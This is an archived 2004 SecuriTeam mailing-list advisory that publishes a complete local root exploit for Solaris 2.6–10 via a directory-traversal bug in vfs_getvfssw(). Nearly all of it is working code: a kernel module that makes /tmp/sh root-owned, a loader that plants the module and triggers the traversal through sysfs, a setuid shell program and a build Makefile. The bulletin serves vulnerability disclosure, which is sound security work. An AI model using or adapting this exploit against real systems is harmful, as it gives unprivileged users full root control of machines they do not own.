Date: 14 Apr 2004 09:13:44 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [EXPL] Solaris Kernel Module Insertion Exploit
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Solaris Kernel Module Insertion Exploit
------------------------------------------------------------------------
SUMMARY
As was reported in a previous
<http://www.securiteam.com/unixfocus/5SP0P1FCAS.html> article, a directory
traversal bug was found in Solaris' vfs_getvfssw() function which allows
insertion of any module by an unprivileged user. Code for such a module is
presented below.
DETAILS
Vulnerable Systems:
* Solaris versions 2.6 through 10
Below is the code for the kernel module:
/* lamer Solaris Kernel Modules to change /tmp/sh's uid/gid
*
* Copyright (c) SST 2004 All rights reserved.
*
* code by Sam and 2004/04/07
* <[email protected]>
* <[email protected]>
*
* http://0x557.org
*/
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/types.h>
#include <sys/modctl.h>
#include <sys/copyops.h>
#include <sys/sunddi.h>
#include <sys/errno.h>
#include <sys/vfs.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc =
{
&mod_miscops,
"root me"
};
static struct modlinkage modlinkage =
{
MODREV_1,
{&modlmisc,NULL}
};
/* namesetattr () and chown () ripped from gsu.tar
* by jerryhj
*/
static int
namesetattr(char *fnamep, enum symfollow followlink, vattr_t *vap, int
flags)
{
vnode_t *vp;
int error = 0;
if (error = lookupname(fnamep, UIO_SYSSPACE, followlink, NULLVPP,
&vp)) {
cmn_err(CE_CONT,"Get Su: 1.errno = %d\n",error);
return error;
}
if (vp->v_vfsp->vfs_flag & VFS_RDONLY) {
cmn_err(CE_CONT,"Get Su: 2.errno = %d\n",error);
error = EROFS;
} else if (error = VOP_SETATTR(vp, vap, flags, CRED()/** kcred
**/)) {
cmn_err(CE_CONT,"Get Su: 3.errno = %d\n",error);
}
VN_RELE(vp);
return (error);
}
static int
chown(char *fname, uid_t uid, gid_t gid)
{
struct vattr vattr;
if (uid < -1 || uid > MAXUID || gid < -1 || gid > MAXUID)
return EINVAL;
vattr.va_uid = uid;
vattr.va_gid = gid;
vattr.va_mask = 0;
if (vattr.va_uid != -1)
vattr.va_mask |= AT_UID;
if (vattr.va_gid != -1)
vattr.va_mask |= AT_GID;
return (namesetattr(fname, FOLLOW, &vattr, 0));
}
int _init(void)
{
int i;
i = mod_install(&modlinkage);
if(i == 0) {
chown ("/tmp/sh", 0, 0);
} else {
cmn_err(CE_NOTE,"filed\n");
}
return i;
}
int _info(struct modinfo *modinfop)
{
return (mod_info (&modlinkage, modinfop));
}
int _fini(void)
{
int i;
i = mod_remove(&modlinkage);
return i;
}
Code that will attempt forking of a shell:
/* rootme.c - Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal
Exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam and 2004/04/07
* <[email protected]>
* <[email protected]>
*
* bug find by Dave Aitel
* http://www.immunitysec.com/downloads/solaris_kernel_vfs.sxw.pdf
*
*
* some thanks/greets to:
* sst members, Xfocus Guys, my gf :I
* and everyone else who's KNOW SST ;P
* http://0x557.org
*/
#include <stdio.h>
#include <sys/fstyp.h>
#include <sys/fsid.h>
#include <sys/types.h>
#include <unistd.h>
int do_root_me ()
{
if (mkdir("/tmp/sparcv9", 0777) < 0) {
perror ("mkdir");
return -1;
}
system ("cp ./mod /tmp/sparcv9/");
sysfs (GETFSIND, "../../tmp/mod");
return 0;
}
int make_shell ()
{
system ("gcc -o sh sh.c;cp ./sh /tmp/sh;chmod 4755 /tmp/sh");
return 0;
}
int main()
{
pid_t child;
make_shell ();
child = fork ();
if (child == -1)
printf ("Unable to fork\n");
if (child == 0)
do_root_me();
system("/usr/bin/rm -rf /tmp/sparcv9");
printf ("press anykey ");
getchar ();
execl ("/tmp/sh", "/tmp/sh", 0);
return 0;
}
Code that will create a shell for us:
/* really shit ? hehe
*
*/
#include <stdio.h>
int main ()
{
setreuid (0, 0);
execl ("/bin/sh", "/bin/sh", 0);
return 0;
}
And a sample Makefile:
KCC = gcc -g -m64 -D_KERNEL -DSVR4 -DSOL2 -c
LD = ld
CC = gcc -o
all: mod rootme
mod.o: mod.c
${KCC} $<
rootme: rootme.c
${CC} rootme $<
mod: mod.o
$(LD) -o $@ -r $^
clean:
rm -f mod rootme *~ *.o
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> Sam.
The original article can be found at:
<http://www.securiteam.com/unixfocus/5SP0P1FCAS.html>
http://www.securiteam.com/unixfocus/5SP0P1FCAS.html
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.